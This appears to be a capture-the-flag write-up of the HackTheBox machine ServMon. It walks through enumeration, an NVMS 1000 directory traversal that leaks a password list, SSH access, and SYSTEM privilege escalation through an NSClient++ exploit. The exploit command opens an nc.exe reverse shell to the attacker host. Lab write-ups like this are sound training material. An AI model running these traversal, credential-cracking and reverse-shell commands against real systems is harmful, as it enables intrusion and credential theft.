Enumeration

nmap

I start with a nmap scan - sudo nmap -sC -sV -Pn -O ; sleep 5; sudo nmap -p- -Pn; sleep 5; sudo nmap -sU -Pn

OSINT & port 80

Briefly - Servmon is a service that monitors websites, servers, and sends alerts depending on how it’s setup. NVMS 1000 is a tool from Voltex Security Systems, from what I see them make like surveillance cameras and other tools.

The website looks like a monitoring dashboard for those surveillance tooling. Basic default credentials do not work. I ran ffuf to look for subdomains and other directories.

ffuf -u 'http://10.129.227.77/Pages/FUZZ.htm' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt and ffuf -u 'http://10.129.227.77/' -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.10.129.227.77' -fs 340 should do an alright basic enumerator, however I feel like I need to enumerate directories better.

I found no other subdomains and some directories:

login                   [Status: 200, Size: 2105, Words: 69, Lines: 60, Duration: 44ms]
main                    [Status: 200, Size: 6126, Words: 1256, Lines: 142, Duration: 73ms]
Login                   [Status: 200, Size: 2105, Words: 69, Lines: 60, Duration: 40ms]
Main                    [Status: 200, Size: 6126, Words: 1256, Lines: 142, Duration: 74ms]
changePassword          [Status: 200, Size: 938, Words: 49, Lines: 43, Duration: 46ms]
MAIN                    [Status: 200, Size: 6126, Words: 1256, Lines: 142, Duration: 48ms]
changepassword          [Status: 200, Size: 938, Words: 49, Lines: 43, Duration: 74ms]
ChangePassword          [Status: 200, Size: 938, Words: 49, Lines: 43, Duration: 79ms]
LogIn                   [Status: 200, Size: 2105, Words: 69, Lines: 60, Duration: 41ms]
%3FRID%3D2671           [Status: 200, Size: 118, Words: 3, Lines: 5, Duration: 38ms]
LOGIN                   [Status: 200, Size: 2105, Words: 69, Lines: 60, Duration: 36ms]
login%3f                [Status: 200, Size: 118, Words: 3, Lines: 5, Duration: 82ms]

When I accessed that website I was automatically moved to http://10.129.227.77/Pages/login.htm which both takes me into “Pages” and assumes a “.htm” extension which isn’t something I see often. I can also google around and see what webserver behaves like that as Wappalyzer only find JQuery.

I will enumerate other possible extensions with and look for other folders besides “Pages” with ffuf in a second, as there are a lot of other ports and I think I can find some low-hanging fruit before a full enumeration.

FTP

There is an anonymous FTP access. Inside I found a folder “Users” containing two users - Nadine and Nathan.

In Nathans file I found a “Confidential.txt” file containing this message from Nadine:

Nathan,

I left your Passwords.txt file on your Desktop.  Please remove this once you have edited it yourself and place it back into the secure folder.

Regards

Nadine% 

And as for Nadine, there was a to-do file containing:

1) Change the password for NVMS - Complete
2) Upload the passwords
3) Remove public access to NVMS
4) Place the secret files in SharePoint%   

In this context “NVMS” likely means a network video management system which is a program used to manage CCTV/IP cameras.

NSClient likely refers to NSClient++, a Windows agent used with Nagios for monitoring.

Nagios is a monitoring tool used to track servers, services, and network devices. Nagios is very similar to servmon so I wonder if I will see both tools or maybe some hybrid. Also, I wonder if there will be some CCTV footage - let’s dig and find out.

SMB

SMB null session is disabled, I tried basic creds for the known users and didn’t manage to get in.

Port 8443

On port 8443 there is NSClient++ dashboard opened when access with HTTPS. When I accessed it I got a white page implying that I can’t see its content without some authentication. After I refreshed it a couple of times I got a login screen which I didn’t see before.

I found this info about passwords.

The NSClient++ password can be found by running:
nscp web -- password --display

or you can sett a new password:
nscp web -- password --set new-password

Further enumeration

Looking at the information i gathered I should likely aim for Nathans Desktop, but I’m not sure how can I get there right now. Maybe with SMB if his desktop is the share, but without BFing and a bit of luck this doesn’t seem plausible.

I can’t brute rid with smb, likely the guest account is disabled.

I ran hydra 10.129.28.144 -s 8443 -S -L users -P /usr/share/wordlists/SecLists/Passwords/Common-Credentials/10k-most-common.txt http-get "/auth/token?password=^PASS^:F=403 Your not allowed" on the HTTPS port just so I have some scans running in the background.

The other directories I found don’t give much assistance, but some of them seem unfinished or not working correctly.

I also started to BF extensions with ffuf -u http://10.129.28.144/Pages/loginFUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/web-extensions-big.txt and look for other directories than “Pages” with ffuf -u 'http://10.129.28.144/FUZZ' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fs 118.

Hydra didn’t find any common passwords.

Other root directories:

%3FRID%3D2671           [Status: 200, Size: 340, Words: 32, Lines: 13, Duration: 51ms]

Weird thing about this directory is that when I use it, it constantly refreshes and copies it’s subdirectory in the url in each iteration. Decoded means ”?RID=2671” which is interesting.

I didn’t find any other extensions.

I just notices that there is LLMNR running on the host and no DNS. I will keep responder running in the background.

I tested basic SSTI and SQL injections on the authentications. One thing to check would be sqlmap but I don’t feel like this is the right way.

Foothold

Searchsploit

Searchsploit found some public exploits for nvms-1000

NVMS 1000 - Directory Traversal                                       | hardware/webapps/47774.txt
OpenVms 5.3/6.2/7.x - UCX POP Server Arbitrary File Modification      | multiple/local/21856.txt
OpenVms 8.3 Finger Service - Stack Buffer Overflow                    | multiple/dos/32193.txt
TVT NVMS 1000 - Directory Traversal                                   | hardware/webapps/48311.py

Yup, I found a nifty exploit on github for unwanted directory traversal. I read how it works, run it and found some creds!

azaeir@parrot (~/Desktop/htb/machines/servmon/NVMS1000-Exploit): python3 nvms.py 10.129.28.144 /Users/Nathan/Desktop/Passwords.txt
[+] DT Attack Succeeded
[+] File Content

++++++++++ BEGIN ++++++++++
1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$
++++++++++  END  ++++++++++

I user users.txt file which holds both users - lower, and upper case versions - and run it through netexec against a list of passwords. There are two hits for nadine, against SMB and SSH with L1k3B1gBut7s@W0rk.

Nadine has read access to IPC$ but sadly I can’t view any content. I did manage to run a rid bruteforce - here are the results:

SMB         10.129.28.144   445    SERVMON          500: SERVMON\Administrator (SidTypeUser)
SMB         10.129.28.144   445    SERVMON          501: SERVMON\Guest (SidTypeUser)
SMB         10.129.28.144   445    SERVMON          503: SERVMON\DefaultAccount (SidTypeUser)
SMB         10.129.28.144   445    SERVMON          504: SERVMON\WDAGUtilityAccount (SidTypeUser)
SMB         10.129.28.144   445    SERVMON          513: SERVMON\None (SidTypeGroup)
SMB         10.129.28.144   445    SERVMON          1000: SERVMON\Nathan (SidTypeUser)
SMB         10.129.28.144   445    SERVMON          1001: SERVMON\Nadine (SidTypeUser)

There are no interesting, custom, unknown users. I counted that maybe there will be a user with RID 2671 but sadly that’s not the case.

SSH access worked and I found a user flag on Nadine’s Desktop.

In the root of the filesystem there is a RecData which holds what looks like to be SQLite database files:

RecordInfoDB.db3
RecordInfoDB.db3-journal

I downloaded them with scp and enumerated with sqlite3 but they are empty. From the schema and general context it looks like a database which would hold surveillance videos or data.

Looking further, in program files I found folders for both NSClient++ and NVMS1000. I looked through them and noted more interesting files, found some certificates with private keys as well/

C:\Program Files\NSClient++\security
C:\Program Files\NSClient++\scripts\custom

I noted that down and searched for any simpler priv-esc possibilities.

WinPEAS

I decided to run WinPEAS and look what it finds.

+----------¦ Enumerating NTLM Settings
  LanmanCompatibilityLevel    :  (Send NTLMv2 response only - Win7+ default)
  NTLM Signing Settings
	  ClientRequireSigning    : False
	  ClientNegotiateSigning  : True
	  ServerRequireSigning    : False
	  ServerNegotiateSigning  : False
	  LdapSigning             : Negotiate signing (Negotiate signing)
---
+----------¦ Enumerating Named Pipes 
  Name                                                                                                 CurrentUserPerms                                                       Sddl
  eventlog                                                                                             Everyone [Allow: WriteData/CreateFiles]                                O:LSG:LSD:P(A;;0x1201
9b;;;WD)(A;;CC;;;OW)(A;;0x12008f;;;S-1-5-80-880578595-1860270145-482643319-2788375705-1540778122)
  vgauth-service                                                                                       Everyone [Allow: WriteData/CreateFiles]                                O:BAG:SYD:P(A;;0x1201
9f;;;WD)(A;;FA;;;SY)(A;;FA;;;BA)
---
Folder: C:\Users\Nadine\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
	FolderPerms: Nadine [Allow: AllAccess]
	File: C:\Users\Nadine\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini (Unquoted and Space detected) - C:\Users\Nadine\AppData\Roaming\M
icrosoft\Windows,C:\Users\Nadine\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini
	FilePerms: Nadine [Allow: AllAccess]
	Potentially sensitive file content: LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21787
---
+----------¦ Enumerating Security Packages Credentials
  Version: NetNTLMv2 
  Hash:    Nadine::SERVMON:1122334455667788:847f1545e73196bfcc29b0eccb1a34dc:0101000000000000b7fb082aaacddc01e27df20ae5988a5d000000000800300030000000000000000000000000200000123997709cfe96c3cf5a71ae9cae03f41156e02642aed9e3642bae814b91bb1d0a00100000000000000000000000000000000000090000000000000000000000

This is a summery of the most interesting finds:

  1. Judging by the NTLM settings, there is a possibility of a relay attack
  2. It found some named pipes, but nothing that screams direct priv-esc really
  3. There is a chance for persistence with the rights to the startup folder which is nice
  4. WinPEAS also found an NTLMv2 hash in packages credentials (in memory)

Let’s try to crack that NTLMv2 hash - hashcat -m 5600 nadine.hash /usr/share/wordlists/SecLists/Passwords/Common-Credentials/xato-net-10-million-passwords.txt
Sadly, I didn’t manage crack it.

Privilege Escalation

Learning from the foothold, I looked for any public exploits for both NVMS1000 and NSClient++ - seems like I found one for the latter.

I need to verify the version to make sure.

nadine@SERVMON C:\Program Files\NSClient++>.\nscp.exe --version
NSClient++, Version: 0.5.2.35 2018-01-28, Platform: x64

Yes, there is an exploit. Here’s a summery from the script itself:

# NSClient++ is a monitoring agent that has the option to run external scripts.
# This feature can allow an attacker, given they have credentials, the ability to execute
# arbitrary code via the NSClient++ web application. Since it runs as NT Authority/System bt
# Default, this leads to privileged code execution.

I roughly followed the instruction from git, here is what I did.

  1. Get the web administrator password
    nadine@SERVMON C:\Program Files\NSClient++>type nsclient.ini and it shows a password in the config - Web Admin password: ew2x6SsGTxjRwXOT
  2. Download the exploit from here
  3. Created a temp file in the root directory with mkdir temp and uploaded nc.exe with scp ~/Desktop/tools/nc.exe nadine@10.129.227.77:C:/temp/
  4. Did local port forwarding with ssh -L 8443:127.0.0.1:8443 nadine@10.129.227.77
  5. Lunched a listener on the attack host with nc -lnvp 1337
  6. Renamed the script from “48360.txt.txt” to “48360.py” with the mv command
  7. Run the script with this command python3 48360.py -t 127.0.0.1 -P 8443 -p "ew2x6SsGTxjRwXOT" -c "C:\temp\nc.exe 10.10.15.189 1337 -e cmd.exe"

With these steps I managed to get a callback on my listener as NT SYSTEM and I found a root flag on admin’s desktop.

I also created an issue for the author of this exploit to make the official instruction simpler to follow along.

Closing Thoughts

Servmon is a relatively simple machine. There are two public exploits that can be used to finish it and a Metasploit script for even less hustle. The level of complexity highly depends on your approach. Overall a good machine to try out.

Regarding lessons learned, I again spent too much time looking for a ton of different possible ways to pivot and didn’t focus on the most obvious one. Detailed enumeration is very important but I should see until the end each vector before moving to another just for the time sake.

1 item under this folder.